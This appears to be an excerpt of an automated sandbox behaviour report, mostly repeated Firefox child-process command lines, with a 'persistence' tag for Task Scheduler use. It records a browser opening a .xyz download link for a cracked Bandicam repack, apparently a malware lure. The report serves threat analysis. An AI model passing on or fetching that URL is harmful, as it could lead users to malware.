PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://j6lyat060624q67.xyz/08f10c664042c174f24981a4ec6e3b3e4105598b_1718450383/file-dln_666d78cf14318/?source=12&grp=17&file=&q=Bandicam-7-1-1-2158-with-Crack--RePack---Portable-"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://j6lyat060624q67.xyz/08f10c664042c174f24981a4ec6e3b3e4105598b_1718450383/file-dln_666d78cf14318/?source=12&grp=17&file=&q=Bandicam-7-1-1-2158-with-Crack--RePack---Portable-

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.0.460583536\954078178" -parentBuildID 20230214051806 -prefsHandle 1740 -prefMapHandle 1732 -prefsLen 21996 -prefMapSize 235091 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6af003d6-6cc4-4ce7-a43f-b49440f852e5} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 1832 210f6ff7158 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.1.646685020\1204340855" -parentBuildID 20230214051806 -prefsHandle 2364 -prefMapHandle 2360 -prefsLen 22847 -prefMapSize 235091 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {514ce43a-758f-4f11-a917-02ee728dd15c} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 2376 210e3e88958 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.2.1946050944\1584959201" -childID 1 -isForBrowser -prefsHandle 3196 -prefMapHandle 3180 -prefsLen 22885 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f19b687a-3ced-4d03-9db0-8f427f5e1419} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 3208 210fac63258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.3.58394700\289153682" -childID 2 -isForBrowser -prefsHandle 2960 -prefMapHandle 3284 -prefsLen 27536 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4921b036-b3b0-4d67-a198-2aae7ddb4ced} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 3624 210fd952458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.4.830037958\480337591" -childID 3 -isForBrowser -prefsHandle 5284 -prefMapHandle 5316 -prefsLen 27536 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d6f7afb8-2259-4a26-9b6d-a917b0d6c3f5} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5332 21100377b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.5.1793382218\2067520255" -childID 4 -isForBrowser -prefsHandle 5452 -prefMapHandle 5448 -prefsLen 27536 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e297cd8f-2536-4ad9-84e7-7dd8ea368a32} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5496 210fefaaa58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.6.1192984090\189746965" -childID 5 -isForBrowser -prefsHandle 5752 -prefMapHandle 5748 -prefsLen 27536 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5fe5c2d-84a1-4a18-97f0-a793023339c6} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5760 210fefa9858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.7.1064746861\450744987" -childID 6 -isForBrowser -prefsHandle 1596 -prefMapHandle 1384 -prefsLen 31612 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {99e81429-8533-4f27-a449-72346923cb5b} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5228 210e3e76558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.8.1800772626\355302044" -childID 7 -isForBrowser -prefsHandle 5660 -prefMapHandle 5780 -prefsLen 31612 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {db9f8ea0-eeae-4335-9c7f-c4d832a9ad1d} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5332 210fefa9258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.9.1047773449\72699772" -childID 8 -isForBrowser -prefsHandle 3780 -prefMapHandle 5540 -prefsLen 31612 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4dbb5d57-dd58-4e25-9b61-42a9e5a04940} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 2884 210fefaad58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.10.664159635\582434512" -childID 9 -isForBrowser -prefsHandle 4188 -prefMapHandle 4628 -prefsLen 31612 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0cb4b756-6bc6-4c53-899f-c22188821a85} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 3256 21103b15058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.11.302523426\887814528" -childID 10 -isForBrowser -prefsHandle 6196 -prefMapHandle 6192 -prefsLen 31621 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca12f109-54d8-4c6d-b5c9-e23254278931} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6184 210fa8e8258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.12.1935093543\1150760222" -childID 11 -isForBrowser -prefsHandle 6316 -prefMapHandle 6312 -prefsLen 31621 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7b4b80dd-fad9-4b9d-aa13-4a508084a3e1} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 2748 210fa8e8e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.13.972295131\1442939173" -childID 12 -isForBrowser -prefsHandle 5856 -prefMapHandle 5840 -prefsLen 31621 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {aa1617b6-4313-4e94-9a2b-ffae55bc6df6} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5868 210fa8eb258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.14.1998369857\2045884176" -childID 13 -isForBrowser -prefsHandle 5744 -prefMapHandle 6216 -prefsLen 31621 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {886cd155-f256-48f9-8d29-6ce17911d2dd} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5344 210e3e09f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.15.1919039774\2046372196" -childID 14 -isForBrowser -prefsHandle 6528 -prefMapHandle 6540 -prefsLen 31621 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {155bf20a-3be6-4456-a1e0-7cf3b8939e11} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6616 210e3e77d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.16.1502059626\899978017" -childID 15 -isForBrowser -prefsHandle 5412 -prefMapHandle 2868 -prefsLen 31854 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {122153a0-5b40-4f5b-ac38-4cd36403dd51} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5408 210fec93b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.17.2055744582\1117712112" -childID 16 -isForBrowser -prefsHandle 4188 -prefMapHandle 6956 -prefsLen 31854 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {647226f9-ebf3-4212-a412-caa91f252f57} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6068 2110479eb58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.18.1065967461\1379427913" -childID 17 -isForBrowser -prefsHandle 3892 -prefMapHandle 5224 -prefsLen 31854 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {33b9623b-c7fc-43c2-8e77-a05539b4360d} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 7108 21106bf6558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.19.468178797\926442155" -childID 18 -isForBrowser -prefsHandle 5828 -prefMapHandle 6204 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {27d5f10d-56ca-4973-a208-a2a07f2cfa71} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 4072 21105ab7758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.20.707397439\340767155" -parentBuildID 20230214051806 -prefsHandle 7228 -prefMapHandle 7236 -prefsLen 31863 -prefMapSize 235091 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b50d3b3a-a02d-458d-86c1-6e91d7e17be2} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 7212 21107388f58 rdd

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.21.930966575\459353822" -childID 19 -isForBrowser -prefsHandle 4328 -prefMapHandle 6800 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {79e2ab74-f227-49c8-baed-2157a293b711} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6052 21104c03258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.22.1449798026\1273934713" -parentBuildID 20230214051806 -sandboxingKind 1 -prefsHandle 6356 -prefMapHandle 3804 -prefsLen 31863 -prefMapSize 235091 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5c65997e-4348-45f1-8e36-ede00c1e8381} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 4328 21104c03858 utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.23.643834935\1648663283" -childID 20 -isForBrowser -prefsHandle 7868 -prefMapHandle 7860 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fb363064-3ce4-40b9-8066-cdfb69c9b79e} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 7880 2110580ec58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.24.1043166971\1032560399" -childID 21 -isForBrowser -prefsHandle 8068 -prefMapHandle 11964 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7fe615f2-9cd1-4dad-a537-3bc575795ab8} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 8076 210e3e0a558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.25.710997505\1080033332" -childID 22 -isForBrowser -prefsHandle 4332 -prefMapHandle 6432 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ea0c690-0632-482e-80ac-d34d74e6f894} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6948 21100716858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.26.105655362\1302267778" -childID 23 -isForBrowser -prefsHandle 4196 -prefMapHandle 5856 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {79338637-eb24-4540-a7af-a36060bf45e7} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6108 21100713b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.27.179687290\361602037" -childID 24 -isForBrowser -prefsHandle 12040 -prefMapHandle 12036 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee29e242-424b-40cd-894c-02a1f1aa32f6} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 12088 21105516f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.28.715272758\2125292571" -childID 25 -isForBrowser -prefsHandle 12140 -prefMapHandle 12144 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {43771bec-0cf3-45f6-8134-5f7db0c7919d} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 12132 21105517258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.29.118772567\598567772" -childID 26 -isForBrowser -prefsHandle 7784 -prefMapHandle 7596 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e2133b1-8c3c-4e7e-9c79-c86ee4069002} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 9656 21105bf0358 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.30.1809702000\2074088135" -childID 27 -isForBrowser -prefsHandle 11576 -prefMapHandle 6972 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2906fed4-3e20-431e-a486-58afc1117dc5} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11584 21105463558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.31.160019107\1820816459" -childID 28 -isForBrowser -prefsHandle 11376 -prefMapHandle 7784 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7c2a42d-4b03-4eaa-9143-4ffe20d3bf40} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11368 211055b2258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.32.419256910\628816862" -childID 29 -isForBrowser -prefsHandle 6956 -prefMapHandle 7224 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1734bb63-066a-4fdf-97e5-5b0ee207194b} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 4252 211056ae458 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.33.1059439642\1750738722" -childID 30 -isForBrowser -prefsHandle 11712 -prefMapHandle 11708 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {129790d4-f430-4d66-9c9d-c29541886591} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11860 211076cad58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.34.1903845184\486953248" -childID 31 -isForBrowser -prefsHandle 10928 -prefMapHandle 10920 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {503ebd91-bbc5-4cd7-ad4b-a22e383fc4f3} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10940 211076c9558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.35.151377108\1229383930" -childID 32 -isForBrowser -prefsHandle 10728 -prefMapHandle 10724 -prefsLen 31863 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4388541a-589b-48fb-a0cd-ea333458ca10} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10740 211076c9b58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.36.1616037746\1609953287" -childID 33 -isForBrowser -prefsHandle 10524 -prefMapHandle 10520 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {29074507-786c-4557-a1e5-c486e9fd0c72} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10768 211086ce558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.37.1864915406\1915843122" -childID 34 -isForBrowser -prefsHandle 11828 -prefMapHandle 12144 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {535cce8e-8987-4b3d-bab7-2ea65ce8e8ba} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11440 21106557f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.38.224214270\472119516" -childID 35 -isForBrowser -prefsHandle 10952 -prefMapHandle 10784 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5fb15734-d1dc-4203-b0ca-91c0628ff22b} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11252 21100eab058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.39.821463014\1604635677" -childID 36 -isForBrowser -prefsHandle 10428 -prefMapHandle 10432 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {615f91b4-677d-4e38-b4e4-9473e31d05f6} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10460 211068aba58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.40.1442699614\1084910488" -childID 37 -isForBrowser -prefsHandle 10756 -prefMapHandle 12036 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d031a2a-eb95-4be1-b5ef-d9d267119d7e} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10696 21103750158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.41.1038109138\90232987" -childID 38 -isForBrowser -prefsHandle 5768 -prefMapHandle 6952 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dbde0a7e-1f8d-452c-a454-fd5e1ab5f48a} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6588 210fefab658 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.42.489364842\884077702" -childID 39 -isForBrowser -prefsHandle 6688 -prefMapHandle 6432 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {65f00c70-a90e-4d19-814c-5197cdfca6ef} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11292 210f6ff7758 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.43.1453925467\220481481" -childID 40 -isForBrowser -prefsHandle 10784 -prefMapHandle 10660 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7f0d3bb2-c0ca-4094-b9a5-790bc58daf13} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 5860 210ff31f158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.44.71906167\2085072676" -childID 41 -isForBrowser -prefsHandle 11456 -prefMapHandle 3412 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {52b61d73-36fa-492c-9786-dd6b8408b16a} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 6636 210fef23258 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.45.504290076\676835737" -childID 42 -isForBrowser -prefsHandle 6628 -prefMapHandle 3396 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {128d6b24-774e-4c09-83b4-115e81d3e3ff} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11696 21102f6ab58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.46.854258034\1266807551" -childID 43 -isForBrowser -prefsHandle 11232 -prefMapHandle 6636 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95b665da-9ba8-470e-bfed-79025ec9540b} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10908 21102f68a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.47.996211894\1167068815" -childID 44 -isForBrowser -prefsHandle 11364 -prefMapHandle 6264 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fe7ef11f-6350-4e5a-a4ab-49ec989cc35a} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 11332 21102f67558 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.48.1983023747\1613028362" -childID 45 -isForBrowser -prefsHandle 6804 -prefMapHandle 7188 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {92561238-8d68-4dc3-ab3a-69dc71ca7567} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 12264 210fee14d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1160.49.121919517\902495140" -childID 46 -isForBrowser -prefsHandle 10896 -prefMapHandle 11084 -prefsLen 31872 -prefMapSize 235091 -jsInitHandle 1300 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {173df316-1999-4505-8339-4d64b38692d2} 1160 "\\.\pipe\gecko-crash-server-pipe.1160" 10912 2110040d058 tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004E8

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Program Files\7-Zip\7zG.exe

